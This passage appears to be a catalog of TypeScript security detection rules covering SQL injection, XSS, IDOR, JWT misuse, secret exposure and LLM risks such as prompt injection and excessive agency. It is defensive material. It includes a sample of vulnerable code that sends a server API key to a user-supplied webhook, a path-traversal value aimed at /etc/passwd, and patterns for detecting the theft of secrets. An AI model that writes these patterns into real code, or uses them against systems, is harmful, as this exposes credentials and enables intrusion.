# TypeScript Security Rules 121 detection rules for TypeScript - Total rules: 121 - CRITICAL: 23 - HIGH: 54 - MEDIUM: 38 - LOW: 5 ## Frameworks - all - angular - express - fastify - graphql - hapi - koa - lambda - nestjs - next - nextjs - nodejs - prisma - serverless - tests - trpc - typeorm - typescript ## Rules by CWE ### (CWE-other) - **Authentication in Express.js** [MEDIUM]: Detects missing authentication middleware on protected Express.js endpoints. Applies to admin, user-specific, and API management routes. - **Body Parser Middleware in Express.js** [MEDIUM]: Detects missing body parser middleware required for processing request bodies in Express.js. - **Cookie Security Flags Configuration** [MEDIUM]: Detects missing or improperly configured security flags (httpOnly, secure, sameSite) on HTTP cookies in Express.js applications. - **CORS Configuration in Express.js** [MEDIUM]: Detects overly permissive CORS configuration allowing any origin to access resources. - **CSRF Protection in Express.js** [MEDIUM]: Detects missing or inadequate Cross-Site Request Forgery (CSRF) protection in Express.js applications. CSRF attacks perform authorized actions on behalf of authenticated users without their knowledge: 1. Attackers trick users into submitting malicious requests 2. State-changing operations (password changes, transfers) are vulnerable 3. Authentication cookies are automatically included in cross-site requests 4. Without CSRF tokens, applications cannot verify request legitimacy Important notes: - The csurf package is deprecated due to security vulnerabilities - Modern CSRF protection requires proper token validation - SameSite cookies alone are not sufficient (browser compatibility) - Double-submit cookies pattern needs secure implementation Noise filtering: - This rule reduces severity for token-based auth (JWT/Bearer) where CSRF is less relevant - Pure API services without cookie auth have lower CSRF risk - See rules/shared/noise-filters-javascript.yml for context detection patterns - **Rate Limiting in Express.js** [MEDIUM]: Detects missing rate limiting on authentication and API endpoints to prevent brute force and DoS attacks. - **Express Trust Proxy Configuration** [MEDIUM]: Detects missing 'trust proxy' setting when using rate limiting or IP-based security behind a proxy. - **Authentication in Next.js API Routes** [MEDIUM]: Detects API route handlers without authentication checks on protected endpoints. - **Authentication in Next.js Middleware** [MEDIUM]: Detects middleware.ts without authentication checks for protected routes. - **Authentication in Next.js Server Actions** [MEDIUM]: Detects Server Actions that modify data without authentication checks. - **Mass Assignment in Next.js Server Actions** [MEDIUM]: Detects Server Actions passing raw FormData directly to database operations without field filtering. - **SQL Injection in Next.js Server Actions** [MEDIUM]: Detects untrusted input from Server Actions flowing into SQL queries without parameterization. ### Improper Input Validation (CWE-20) - **Business Logic Input Validation** [MEDIUM]: Detects business-critical values (discount, refund, quantity) used without validation. - **Unvalidated Business-Critical Values** [HIGH]: Detects business-critical values from user input used without validation. - **NestJS DTO Missing Validation Decorators** [HIGH]: DTOs without class-validator decorators allow unvalidated input to flow into the application, enabling injection and data corruption. - **Prisma Missing Input Validation** [HIGH]: Passing req.body directly to Prisma where/data allows users to filter by unauthorized fields and bypass access controls. - **tRPC Unsafe Context Usage** [HIGH]: Using unvalidated headers, cookies, or query params in context creation allows attackers to bypass authentication and impersonate users. - **tRPC Procedure Missing Input Validation** [HIGH]: tRPC procedures without .input() validation accept unvalidated payloads at runtime, enabling injection and type confusion attacks. - **TypeORM Entity Missing Validation** [HIGH]: TypeORM entities without class-validator decorators accept any data, enabling injection attacks and data integrity violations. ### Information Exposure (CWE-200) - **Environment Variable Secret Exposure** [HIGH]: Detects when environment variables (which may contain secrets like API keys, passwords, tokens) are leaked through logging, HTTP responses, or external requests. Environment variables commonly store sensitive data: - API keys (AWS_ACCESS_KEY_ID, STRIPE_SECRET_KEY) - Database passwords (DB_PASSWORD, DATABASE_URL) - JWT secrets (JWT_SECRET) - OAuth tokens (GITHUB_TOKEN, SLACK_TOKEN) Leaking these values exposes credentials and allows unauthorized access. This rule uses taint flow analysis to detect when process.env flows to: - Logging functions (console.log, winston, etc.) - HTTP responses (res.send, res.json) - External HTTP requests - Client-side code (sent to browser) - **LLM Model Theft** [HIGH]: Detects vulnerabilities that could lead to model theft or API key exposure. OWASP LLM10 - Model Theft. Model theft can occur through: - API key exposure in client-side code or logs - Model weights exposed via insecure endpoints - Model extraction attacks via unrestricted API access - Insecure model serialization and storage - Missing access controls on model endpoints This rule detects: - Hardcoded API keys in source code - API keys in client-side JavaScript - Model files served without authentication - Missing rate limiting on inference endpoints - Model parameters logged or exposed - **LLM Sensitive Information Disclosure** [HIGH]: Detects potential sensitive information disclosure in AI/LLM implementations. OWASP LLM06 - Sensitive Information Disclosure. Sensitive information can be leaked through: - PII (Personal Identifiable Information) in prompts - Credentials or secrets in prompts or system messages - Sensitive business data sent to third-party LLM APIs - Logging LLM conversations containing sensitive data - LLM responses exposed without filtering This rule detects: - Sensitive data patterns in LLM prompts - Credentials passed to AI APIs - Logging of LLM conversations - Database queries in prompts - PII patterns in messages - **Sensitive Field Exposure in API Response** [CRITICAL]: Detects when sensitive data fields (passwords, tokens, secrets, API keys) are exposed through API endpoint responses. This commonly happens when: 1. Mapping user data with sensitive fields: `.map(u => ({ password: u.password }))` 2. Returning entire user objects: `res.json(user)` where user has password field 3. Including sensitive fields in response objects: `res.json({ password: user.password })` This is particularly dangerous when AI-generated code returns user collections without filtering sensitive fields, as in debug endpoints or admin panels. Security Impact: - Password hash exposure enabling offline cracking attacks - API key/token leakage allowing account takeover - Session token exposure enabling session hijacking - PII disclosure violating privacy regulations (GDPR, CCPA) - **Prisma Sensitive Field Exposure** [CRITICAL]: Prisma returns all fields by default. Without 'select' or 'omit', password hashes and API tokens can leak to clients. ### CWE-704 (CWE-704) - **tRPC Type Safety Bypass with Any** [MEDIUM]: Using 'any' type in tRPC procedures defeats type safety and allows unvalidated data to pass through, enabling injection and runtime errors. - **TypeScript Unconstrained Generic Type Parameters** [MEDIUM]: Unconstrained generics ( or ) allow any type to pass through, causing runtime errors and type confusion when accessing properties that do not exist. - **TypeScript Strict Mode Disabled** [HIGH]: Disabled TypeScript strict mode flags weaken type safety and allow null/undefined errors, implicit any types, and unsafe function parameters that lead to runtime vulnerabilities. - **Unsafe 'any' Type in Security-Sensitive Context** [HIGH]: Using 'any' type with untrusted input bypasses TypeScript's type safety, allowing unvalidated data to flow into security-sensitive operations. - **TypeScript Unsafe Type Guard** [HIGH]: Type guards that always return true or use assertions without validation create type confusion, allowing untrusted data to bypass security checks. ### Hardcoded Credentials (CWE-798) - **Hardcoded Secret in Environment Variable Fallback** [HIGH]: Detects hardcoded secrets used as fallback values for environment variables. Pattern: `process.env.SECRET || 'hardcoded-value'` This is dangerous because: - If the environment variable is not set, the hardcoded value is used - Developers often forget to set env vars in production - The hardcoded fallback may be committed to version control - Creates false sense of security ("we use env vars") This is particularly common with: - JWT secrets - API keys - Database passwords - Encryption keys - **Hardcoded Credentials** [HIGH]: Detects hardcoded credentials (passwords, API keys, tokens) in database connections and configuration objects. Credentials should be loaded from environment variables or secure secret management systems. This is different from CWE-259 (weak password): - CWE-798: Any credential hardcoded in source code (security risk) - CWE-259: Specifically weak/guessable passwords Even a "strong" password is a security risk if hardcoded because: - It gets committed to version control - It's difficult to rotate - It may leak via logs, error messages, or decompilation - No separation between dev/prod environments - **Hardcoded High-Entropy Secrets Detection** [CRITICAL]: Detects hardcoded secrets with high entropy (randomness) that indicate real credentials. This rule uses entropy analysis to avoid false positives from: - Example/placeholder values ("keyboard cat", "your-secret-here") - Test fixtures ("test123", "fake-api-key") - Short/simple strings ("secret", "password") Only flags strings that appear to be REAL secrets: - High entropy (random-looking characters) - Sufficient length (20+ characters for API keys) - Known secret patterns (AWS keys, JWT tokens, private keys) Hardcoded real secrets pose security risks: - Exposure in version control - Difficult credential rotation - Accidental disclosure in logs/errors - No dev/prod separation - **Hardcoded Secrets in Security Operations** [CRITICAL]: Detects hardcoded secrets (API keys, tokens, passwords) flowing into security-sensitive operations. Uses taint analysis to track hardcoded secret strings from their definition to actual usage in authentication, API calls, or cryptographic operations. This approach reduces false positives by only flagging secrets that are actually used, not just defined in comments, examples, or unused variables. - **Security Issues in Test Files** [LOW]: Detects security anti-patterns in test files that could leak into production. While test files don't run in production, they can still pose security risks: 1. **Hard-coded credentials** - Test credentials committed to repos 2. **Real API keys** - Production keys used in tests 3. **Exposed secrets** - Secrets in test fixtures or mocks 4. **Insecure test patterns** - Patterns that might be copy-pasted to production This rule helps maintain test hygiene and prevents credential leaks. ### SQL Injection (CWE-89) - **SQL Injection via Database Queries** [CRITICAL]: Detects user input flowing into SQL queries without parameterization. - **Prisma Raw Query SQL Injection** [CRITICAL]: Using template literals instead of Prisma.sql`` in $queryRaw bypasses parameter binding and enables SQL injection. - **TypeORM SQL Injection in Raw Query** [CRITICAL]: Raw SQL queries with string concatenation or template literals bypass TypeORM's parameterization, enabling SQL injection attacks. - **TypeORM Query Builder SQL Injection** [CRITICAL]: QueryBuilder where clauses with template literals or concatenation bypass parameter binding, enabling SQL injection. ### Cross-Site Scripting (XSS) (CWE-79) - **Angular Unsafe Security Context Bypass** [CRITICAL]: DomSanitizer.bypassSecurityTrust* methods completely disable XSS protection, enabling script injection when used with any user-controllable data. - **Angular Unsafe Property Binding** [HIGH]: Property bindings like [innerHTML] and [src] with untrusted data enable XSS attacks when Angular's sanitizer is bypassed or insufficient. - **Cross-Site Scripting (XSS) via Response** [HIGH]: Detects user input flowing into HTTP responses without proper encoding or sanitization. ### Code Injection (CWE-94) - **Code Injection via eval() and Function constructor** [CRITICAL]: Detects user input flowing to code execution functions like eval() or Function constructor. - **LLM Insecure Output Handling** [HIGH]: Detects LLM/AI outputs being used directly in dangerous operations without proper validation or sanitization. OWASP LLM02 - Insecure Output Handling. LLM outputs should be treated as untrusted input since: - Prompt injection attacks can manipulate AI responses - LLMs can hallucinate and produce unexpected outputs - Model behavior may change between versions Dangerous operations include: - Code execution (eval, Function, vm.runInContext) - Command execution (exec, spawn, execSync) - SQL queries (database operations) - HTML rendering (innerHTML, document.write) - File operations (writeFile, unlink) - Network requests (fetch, axios with LLM-generated URLs) - **TypeScript Unsafe Decorator Usage** [HIGH]: Decorators that use eval(), modify global state, or accept user input as parameters enable code injection, prototype pollution, and authorization bypass. ### Improper Authorization (CWE-285) - **Angular Missing Route Guard** [CRITICAL]: Routes without canActivate guards allow unauthorized access to admin panels, user profiles, and sensitive operations. - **NestJS Sensitive Route Missing Guard** [CRITICAL]: Controllers without @UseGuards on sensitive operations allow unauthorized access to create, update, delete, and admin endpoints. - **tRPC Protected Procedure Missing Authentication** [CRITICAL]: Using publicProcedure for mutations or user-specific data allows unauthenticated access and account manipulation. ### Authorization Bypass Through User-Controlled Key (CWE-639) - **Horizontal Privilege Escalation** [CRITICAL]: Detects when user-controlled input is used to access resources belonging to other users at the same privilege level without verifying ownership. - **Insecure Direct Object Reference (IDOR)** [HIGH]: Detects when user-controlled input (from URL parameters, query strings, or request body) is used directly to access database records without verifying that the authenticated user has permission to access that specific resource. IDOR vulnerabilities allow attackers to access, modify, or delete resources belonging to other users by manipulating identifiers in requests. - **Potential IDOR - Generic Data Access** [MEDIUM]: Detects endpoints where route parameters flow to generic data access patterns (Map.get, object property access, cache lookups, custom repositories) without visible ownership verification in the function. This rule catches patterns that ORM-specific detection misses, but requires human verification that authorization is not enforced elsewhere (middleware, decorators, API gateway, etc.). **This is a "potential" finding - verify authorization exists somewhere.** ### Path Traversal (CWE-22) - **Path Traversal in File Operations** [CRITICAL]: Detects untrusted user input used in file system operations without proper validation. This can allow attackers to read or write arbitrary files on the server. - **Zip Slip Path Traversal** [HIGH]: Detects unsafe extraction of zip/tar archives without path validation, which can lead to arbitrary file writes via path traversal (Zip Slip). Zip Slip is a form of path traversal attack where a malicious archive contains entries with paths like "../../../etc/passwd" that escape the intended extraction directory and overwrite arbitrary files on the system. Vulnerable patterns: 1. Extracting zip entries without validating the extracted path 2. Not checking if extracted path is inside target directory 3. Trusting entry.fileName from the archive 4. Not normalizing/resolving paths before extraction Impact: - Arbitrary file overwrite (RCE if overwriting .bashrc, cron jobs, etc.) - Configuration tampering - Code injection (overwriting source files) - Data exfiltration (overwriting log files) ### Error Message Information Leak (CWE-209) - **Information Exposure Through Error Messages** [MEDIUM]: Detects exposure of sensitive error information (error.message, error.stack, raw error objects) in HTTP responses. This can leak: - Internal file paths and directory structure - Database schema and query details - Third-party API endpoints and credentials - Software versions and technology stack - Business logic and validation rules Attackers use this information to: - Map internal architecture - Identify vulnerable dependencies - Craft targeted attacks - Bypass security controls - **tRPC Error Information Disclosure** [MEDIUM]: Exposing raw errors, stack traces, or database details to clients aids attackers in reconnaissance and exploitation. ### Broken Cryptographic Algorithm (CWE-327) - **JWT Algorithm Confusion Attack** [HIGH]: Detects JWT verification without explicit algorithm specification, allowing "none" algorithm attacks that bypass authentication. - **Use of Weak Cryptographic Algorithm** [HIGH]: Detects use of weak or broken cryptographic algorithms for hashing passwords or sensitive data. **Weak algorithms detected:** - **MD5**: Cryptographically broken, vulnerable to collision attacks - **SHA1**: Deprecated, vulnerable to collision attacks - **DES/3DES**: Weak block cipher with small key size - **RC4**: Stream cipher with known vulnerabilities **Impact:** - Password hashes can be cracked using rainbow tables or brute force - Data encrypted with weak algorithms can be decrypted by attackers - Integrity of hashed data cannot be guaranteed **For password hashing**, use: - bcrypt (recommended) - scrypt - argon2 - PBKDF2 with strong parameters **For general hashing**, use: - SHA-256 or SHA-512 (for non-password data) - SHA-3 for future-proofing **For encryption**, use: - AES-256-GCM - ChaCha20-Poly1305 ### Resource Exhaustion (CWE-400) - **LLM Denial of Service** [MEDIUM]: Detects AI/LLM API calls that lack token limits, potentially enabling denial of service attacks. OWASP LLM04 - Model Denial of Service. DoS attacks against LLMs can: - Exhaust API quotas through unbounded token generation - Cause excessive costs via high token usage - Degrade service availability This rule detects: - Missing max_tokens limits on completions - Missing input length validation - Unbounded streaming responses NOTE: Rate limiting is covered separately by the Express rate-limiting rule. See: rules/javascript/projects/express/security/rate-limiting.yaml - **Denial of Service via Unbounded Child Processes** [MEDIUM]: Detects child process execution (exec, spawn) without proper resource limits. Without timeout or maxBuffer configuration, these processes can: - Hang indefinitely, consuming server resources - Flood memory with unbounded output - Enable DoS attacks through resource exhaustion This is especially critical when the command can be influenced by user input or interacts with external resources (network requests, git operations, etc.). ### Deserialization of Untrusted Data (CWE-502) - **LLM Training Data Poisoning** [HIGH]: Detects untrusted or unvalidated data flowing into AI/LLM fine-tuning or training processes. OWASP LLM03 - Training Data Poisoning. Training data poisoning can: - Introduce backdoors into model behavior - Bias model outputs maliciously - Embed harmful content that appears in responses - Compromise model accuracy and reliability - Create security vulnerabilities in model behavior This rule detects: - User-provided data used directly in fine-tuning - External data sources used without validation - Training data loaded from untrusted URLs - Missing data validation before training - **Unsafe Deserialization** [CRITICAL]: Detects user input flowing to unsafe deserialization functions like node-serialize or yaml.load(). ### Open Redirect (CWE-601) - **Next.js Open Redirect** [MEDIUM]: Detects user-controlled input flowing into redirect targets in Next.js middleware. - **Open Redirect via Untrusted URLs** [MEDIUM]: Detects user input flowing into redirect functions without URL validation. ### Allocation Without Limits (CWE-770) - **Request Size Limits in Express.js** [MEDIUM]: Detects missing or inadequate request size limits in Express.js applications. Without request size limits: 1. Attackers can send large payloads to exhaust server memory (DoS) 2. Disk space can be filled with uploaded content 3. JSON parsing of large payloads blocks the event loop 4. Server resources can be exhausted processing oversized requests Different content types need different limits: - JSON payloads are more dangerous (blocking parsing) - File uploads may legitimately need larger limits - URL-encoded data should be limited - **Prisma Unbounded Relation Loading** [MEDIUM]: Unbounded includes without 'take' limits can exhaust database and memory resources, causing denial of service. ### Mass Assignment (CWE-915) - **Prisma Mass Assignment Vulnerability** [CRITICAL]: Spreading req.body into Prisma create/update allows attackers to modify protected fields like role, credits, or permissions. - **TypeORM Mass Assignment Vulnerability** [CRITICAL]: Directly assigning req.body to entities allows attackers to modify protected fields like role, isAdmin, or credits. ### Server-Side Request Forgery (CWE-918) - **SSRF in Next.js Server Actions** [HIGH]: Detects user-controlled input flowing into HTTP request URLs in Server Actions. - **Server-Side Request Forgery via HTTP Requests** [HIGH]: Detects user input flowing into HTTP request functions without URL validation. ### Prototype Pollution (CWE-1321) - **Prototype Pollution via Object Manipulation** [HIGH]: Detects user input flowing to object merge operations without filtering dangerous keys. - **Prototype Pollution Gadget - Unsafe Property Trust** [MEDIUM]: Detects authorization checks that trust properties without verifying they are own properties. ### Injection (CWE-74) - **Prompt Injection via Untrusted Input** [HIGH]: Detects user input flowing directly into AI/LLM prompts without sanitization. ### OS Command Injection (CWE-78) - **Command Injection via child_process** [CRITICAL]: Detects user input flowing to shell command execution functions. ### LDAP Injection (CWE-90) - **LDAP Injection** [HIGH]: Detects user input flowing to LDAP queries without escaping special characters. ### CWE-93 (CWE-93) - **Email Header Injection** [HIGH]: Detects email header injection vulnerabilities where user input flows into email headers (To, From, Subject, Cc, Bcc) without validation. Attackers can inject CRLF sequences (\r\n) to add arbitrary headers or body content. Attack impact: - Send spam/phishing emails via your server - Add hidden recipients (Cc/Bcc injection) - Modify email content - Bypass spam filters using your domain reputation Common vulnerable patterns: - nodemailer with user-controlled options - SendGrid/Mailgun APIs with user input - Custom SMTP implementations ### HTTP Response Splitting (CWE-113) - **HTTP Header Injection (Response Splitting)** [HIGH]: Detects user input flowing into HTTP response headers without CRLF sanitization. ### Log Injection (CWE-117) - **Log Injection** [MEDIUM]: Detects user input flowing to logging functions without sanitization. Allows log forgery via newline injection. ### CWE-176 (CWE-176) - **Unicode Normalization Security Issues** [MEDIUM]: Detects missing Unicode normalization in security-sensitive string comparisons. Unicode allows multiple representations of visually identical characters, which attackers can exploit to bypass input validation, authentication, or access control. Common attack vectors: - Homograph attacks (using lookalike characters): "аdmin" vs "admin" (Cyrillic 'а') - Case folding differences: "ß" (German sharp s) becomes "SS" when uppercased - Combining characters: "é" can be a single char or 'e' + combining accent - Full-width characters: "admin" vs "admin" Always normalize Unicode strings using String.prototype.normalize() before security-sensitive comparisons. ### CWE-190 (CWE-190) - **Integer Overflow via Unchecked Arithmetic** [MEDIUM]: Detects user-controlled values flowing into arithmetic operations without bounds checking. While JavaScript uses 64-bit floats for most numbers, integer overflow is still a concern in these scenarios: 1. TypedArrays (Uint8Array, Int32Array, etc.) - values wrap on overflow 2. Bitwise operations - convert to 32-bit signed integers 3. Large number arithmetic affecting security decisions 4. Array/Buffer allocation with user-controlled sizes Common vulnerable patterns: - Buffer allocation: Buffer.alloc(userSize) - Array creation: new Array(userLength) - TypedArray creation: new Uint8Array(userSize) - Bitwise operations: userValue | 0, userValue >>> 0 ### CWE-201 (CWE-201) - **Credential Exfiltration via User-Controlled Endpoint** [CRITICAL]: Detects when internal credentials (API keys, secrets, tokens) are sent in HTTP requests to user-controlled endpoints. This allows attackers to exfiltrate server credentials by providing a malicious webhook URL that captures the sensitive headers or body data. Example vulnerable pattern: ```javascript // User controls 'endpoint' from request const endpoint = req.body.webhookUrl; // Server sends its internal API key to attacker-controlled URL await fetch(endpoint, { headers: { 'X-API-Key': process.env.INTERNAL_API_KEY } }); ``` This is different from standard SSRF (which accesses internal resources) - here the attacker exfiltrates server credentials to their own controlled endpoint. ### CWE-208 (CWE-208) - **Timing Attack via Direct Cryptographic Comparison** [MEDIUM]: Detects direct string comparison of cryptographic values (HMAC, signatures, hashes) where timing attacks are practically exploitable. This rule focuses on HIGH-RISK patterns where timing attacks have been demonstrated in real-world attacks: - HMAC/signature verification (webhook signatures, JWT manual verification) - Hash comparison (when verifying pre-computed hashes) NOT flagged (low practical risk over network): - Password comparison: Network jitter (ms) overwhelms timing differences (ns). The real fix is using bcrypt/argon2 which handles this automatically. - General token comparison: Usually better addressed by secure token generation and proper session management. Timing attacks on cryptographic comparisons are practical because: 1. Attacker controls the input format exactly 2. Signatures have known structure (hex/base64) 3. Can be automated with statistical analysis 4. Have been used in real attacks (GitHub, Slack webhook bypasses) ### CWE-235 (CWE-235) - **HTTP Parameter Pollution Prevention in Express.js** [LOW]: Detects missing HTTP Parameter Pollution (HPP) protection in Express.js applications. ### Unchecked Return Value (CWE-252) - **Unchecked Return Value from Critical Operations** [HIGH]: Detects critical operations (file system, database, authentication) whose return values are not checked. Ignoring return values can lead to silent failures, data corruption, and security vulnerabilities. Critical operations that must have their return values checked include: - File system operations (write, delete, chmod) - Database operations (insert, update, delete) - Authentication/authorization checks - Cryptographic operations ### Hardcoded Password (CWE-259) - **Hardcoded Weak Password** [HIGH]: Detects hardcoded weak passwords in database connections and configuration. Common weak passwords like "password", "admin", "root", "secret", etc. are easily guessed and should never be hardcoded in source code. This rule complements the high-entropy secrets detection by catching simple, well-known weak passwords that entropy-based detection would miss. ### Improper Access Control (CWE-284) - **LLM Insecure Plugin Design** [HIGH]: Detects insecure plugin/function calling implementations in AI/LLM systems. OWASP LLM07 - Insecure Plugin Design. Insecure plugin design can lead to: - Remote code execution via tool/function calls - Unauthorized data access through plugins - Privilege escalation via overly permissive tools - SSRF through URL-handling plugins - Command injection through shell plugins This rule detects: - Function calling without input validation - Dynamic function execution from LLM output - Plugin execution without access control - Dangerous functions exposed to LLM ### Improper Authentication (CWE-287) - **JWT Decode Used for User Identity (Authentication Bypass)** [CRITICAL]: Detects when jwt.decode() output is used for user identity, allowing complete authentication bypass since decode() does not verify signatures. ### Improper Certificate Validation (CWE-295) - **Insecure TLS/SSL Configuration** [HIGH]: Detects insecure TLS/SSL configurations in Node.js applications that weaken transport security. Common misconfigurations: - rejectUnauthorized: false (disables certificate validation) - NODE_TLS_REJECT_UNAUTHORIZED=0 (globally disables TLS verification) - Weak TLS versions (TLS 1.0, 1.1) - Insecure SSL options in HTTPS requests These misconfigurations allow man-in-the-middle attacks. ### CWE-306 (CWE-306) - **NestJS Endpoint Missing Authentication Guard** [HIGH]: Endpoints without @UseGuards or @Public decorators are accessible to unauthenticated users, enabling unauthorized access. ### Hardcoded Cryptographic Key (CWE-321) - **JWT User-Controlled Secret** [CRITICAL]: Detects JWT signing or verification using user-controlled secrets. JWT security relies on keeping the secret key confidential. If an attacker can control or influence the secret used for signing or verification, they can: - Forge valid tokens for any user - Bypass authentication entirely - Impersonate other users This includes: - Using req.body.secret, req.query.secret directly as the JWT secret - Allowing users to provide custom secrets for verification - Using weak or predictable secrets from user input ### Weak PRNG (CWE-338) - **Weak Random Number Generation in Security Context** [HIGH]: Detects use of Math.random() for security-sensitive operations like generating tokens, session IDs, or cryptographic keys. Math.random() is not cryptographically secure and can be predicted by attackers. ### Improper Signature Verification (CWE-347) - **JWT Decode Without Verification** [HIGH]: Detects use of jwt.decode() without proper verification, leading to authentication bypass. jwt.decode() decodes a JWT token WITHOUT verifying its signature. This means an attacker can create a token with any payload they want, and the application will trust it. Common mistakes: - Using jwt.decode() instead of jwt.verify() - Decoding token for inspection then trusting the payload - Using decoded payload for authorization decisions The decoded payload should NEVER be trusted for security decisions without verification. ### Cross-Site Request Forgery (CWE-352) - **Angular Missing HTTP Security Interceptor** [HIGH]: Missing HTTP interceptors require manual token and CSRF protection on every request, leading to inconsistent security and unauthorized API access. ### Race Condition (CWE-362) - **Race Condition in Concurrent Operations** [HIGH]: Detects time-of-check to time-of-use (TOCTOU) vulnerabilities where the state can change between checking a condition and acting on it. Common race conditions include: - Check balance, then deduct (balance can change in between) - Check inventory, then create order (stock can be sold out) - Check permissions, then perform action (permissions can change) - File existence check, then read/write (file can be modified) ### Session Fixation (CWE-384) - **Express Insecure Session Configuration** [HIGH]: Detects insecure session configuration including weak secrets, insecure cookies, and missing security flags. ### CWE-390 (CWE-390) - **Incomplete Error Handling** [MEDIUM]: Detects empty catch blocks and incomplete error handling patterns that silently swallow errors. ### CWE-391 (CWE-391) - **Unhandled Promise Rejection** [HIGH]: Detects promises that are created or called without proper rejection handlers. Unhandled promise rejections can cause application crashes, expose sensitive error information, and lead to inconsistent application state. In Node.js, unhandled promise rejections will terminate the process in future versions, making this a critical reliability and security issue. ### Unrestricted File Upload (CWE-434) - **Unrestricted File Upload** [HIGH]: Detects multer file upload middleware used without proper fileFilter validation. Without fileFilter, attackers can upload any file type including executables, web shells, and other malicious files. ### CWE-476 (CWE-476) - **Non-Null Assertion Without Null Check** [LOW]: The non-null assertion operator (!) bypasses null/undefined checks at compile time without runtime safety, causing crashes when values are unexpectedly null. ### CWE-489 (CWE-489) - **Debug Mode Enabled in Production** [MEDIUM]: Detects hardcoded debug flags that expose sensitive information or enable debugging features in production. ### Weak Password Requirements (CWE-521) - **Weak Password Policy** [HIGH]: Detects password validation that lacks proper complexity requirements, making accounts vulnerable to brute force attacks. ### Information Exposure Through Logs (CWE-532) - **Sensitive Data Exposure in Logs** [MEDIUM]: Detects when user-provided sensitive data (passwords, tokens, API keys, secrets, etc.) flows directly into logging functions without proper redaction or masking. This rule uses taint flow analysis to detect ACTUAL sensitive data being logged, not just variables with sensitive names. Only triggers when: 1. Data originates from user input (req.body, req.headers, etc.) 2. Contains sensitive field names (password, token, secret, etc.) 3. Flows into logging functions without sanitization Sensitive data in logs can lead to: - Credential exposure in log files or monitoring systems - Unauthorized access if logs are compromised - Compliance violations (PCI-DSS, GDPR, HIPAA) - Data breaches through log aggregation systems ### CWE-547 (CWE-547) - **Hardcoded Development URLs** [LOW]: Detects hardcoded development URLs (localhost, 127.0.0.1) in production code that should use environment variables. ### XXE (CWE-611) - **XML External Entity (XXE) Injection** [HIGH]: Detects unsafe XML parsing that could allow XML External Entity (XXE) attacks. XXE can lead to file disclosure, SSRF, denial of service, and other attacks. ### CWE-636 (CWE-636) - **Failing Open on Security Check Errors** [CRITICAL]: Detects security checks (authentication, authorization, validation) that grant access when an error occurs instead of denying it. This is a critical security flaw where the system "fails open" rather than "failing closed/secure". When authentication or authorization checks encounter errors, the system should DENY access by default, not grant it. ### Weak Password Recovery (CWE-640) - **Weak Password Reset Token** [HIGH]: Detects predictable random number generation (Math.random) used for password reset tokens. ### CWE-668 (CWE-668) - **TypeScript Access Modifier Bypass** [HIGH]: TypeScript private/protected modifiers are compile-time only. Bracket notation and type assertions bypass them at runtime, exposing sensitive data like passwords and tokens. ### CWE-670 (CWE-670) - **JavaScript Test with Trivial Always-Passing Assertion** [MEDIUM]: Detects JavaScript test functions that only contain trivial assertions or no assertions at all. These tests provide no actual validation and give false confidence about code correctness. Common patterns include expect(true).toBe(true), assert(true), or tests with only comments. ### Protection Mechanism Failure (CWE-693) - **Security Headers in Express.js** [HIGH]: Detects missing security headers middleware (Helmet) to prevent XSS, clickjacking, and MIME sniffing. ### CWE-754 (CWE-754) - **TypeORM Unsafe Database Migration** [HIGH]: Unsafe migrations with DROP TABLE/COLUMN operations without backups cause permanent data loss and application crashes from schema mismatches. ### CWE-755 (CWE-755) - **Resource Exhaustion via Exception Handling** [MEDIUM]: Detects code that allocates resources (files, connections, memory) within try blocks but fails to release them in finally blocks or error paths. When exceptions occur, resources may not be properly cleaned up, leading to resource exhaustion, memory leaks, and denial of service. ### Insufficient Logging (CWE-778) - **Avoid console.log when logging library exists** [low]: Detects console.log calls when a logging library exists. Only fires when winston, pino, bunyan, or log4js is detected. ### Inclusion of Untrusted Functionality (CWE-829) - **LLM Supply Chain Vulnerabilities** [HIGH]: Detects potential supply chain vulnerabilities in AI/LLM implementations. OWASP LLM05 - Supply Chain Vulnerabilities. Supply chain attacks in AI can occur through: - Loading models from untrusted sources - Using unverified model weights or configurations - Third-party plugins/tools without integrity verification - Compromised training data sources - Insecure model serialization formats This rule detects: - Dynamic model loading from user input - Models loaded from HTTP (not HTTPS) - Missing integrity verification for model files - Pickle/unsafe deserialization of model data ### CWE-840 (CWE-840) - **Business Logic Bypass** [HIGH]: Detects client-controlled prices or amounts flowing to payment operations without server-side validation. ### CWE-843 (CWE-843) - **TypeScript Enum Type Confusion** [MEDIUM]: Comparing enum values with raw strings bypasses type safety and allows authorization bypass when user input is compared against enum values without proper type checking. ### Missing Authorization (CWE-862) - **LLM Excessive Agency** [HIGH]: Detects LLM implementations with excessive autonomy that can lead to unintended consequences. OWASP LLM08 - Excessive Agency. Excessive agency occurs when LLMs are granted: - Ability to perform destructive operations without confirmation - Auto-execution of LLM-generated code or commands - Direct database modifications without approval - Financial transactions without human oversight - Email/communication sending without review This rule detects: - Auto-execution of tool calls without human approval - Destructive operations (delete, update, send) without confirmation - Autonomous agent loops without termination controls - Missing human-in-the-loop for sensitive operations ### CWE-916 (CWE-916) - **Weak Password Storage** [HIGH]: Detects password hashing using weak algorithms (MD5, SHA1, plain SHA256) without proper salt or iteration, making passwords vulnerable to rainbow table and brute force attacks. ### NoSQL Injection (CWE-943) - **NoSQL Injection via MongoDB Queries** [HIGH]: Detects user input flowing into NoSQL database queries without validation. ### CWE-1024 (CWE-1024) - **Type Coercion Security Bugs** [MEDIUM]: Detects unsafe use of loose equality operators (==, !=) and type coercion patterns that can lead to security vulnerabilities. JavaScript's type coercion can cause unexpected behavior in security-critical code. Common security issues from type coercion: 1. Authentication bypass: password == null matches both null AND undefined 2. Authorization bypass: role == "admin" can be bypassed with role = true 3. Input validation bypass: value == 0 matches "", [], false, "0" 4. SQL/NoSQL injection: params == {} doesn't check for actual object properties Type coercion rules in JavaScript: - null == undefined (true) - 0 == "" == false == [] (all true) - "0" == 0 (true) - " \t\n" == 0 (true) - But: "0" != false (because string vs boolean) Security implications are severe when used in: - Authentication/authorization checks - Input validation - Null/undefined checks - Role/permission comparisons ### CWE-1069 (CWE-1069) - **Empty Catch Block** [MEDIUM]: Detects empty catch blocks that silently swallow exceptions without any error handling, logging, or recovery logic. Empty catch blocks hide errors and make debugging extremely difficult. They can mask security issues, data corruption, and system failures. ### CWE-1071 (CWE-1071) - **AI-Generated Placeholder Code** [LOW]: Detects TODO and FIXME comments indicating incomplete security implementations in production code. ### CWE-1236 (CWE-1236) - **CSV Injection (Formula Injection)** [MEDIUM]: Detects untrusted data being placed into CSV output, which can enable formula injection when the CSV is opened in spreadsheet software like Excel or Google Sheets. CSV injection occurs when user-controlled data containing formula characters (=, +, -, @, \t, \r) is written to a CSV file without proper escaping. When opened in spreadsheet software, these formulas 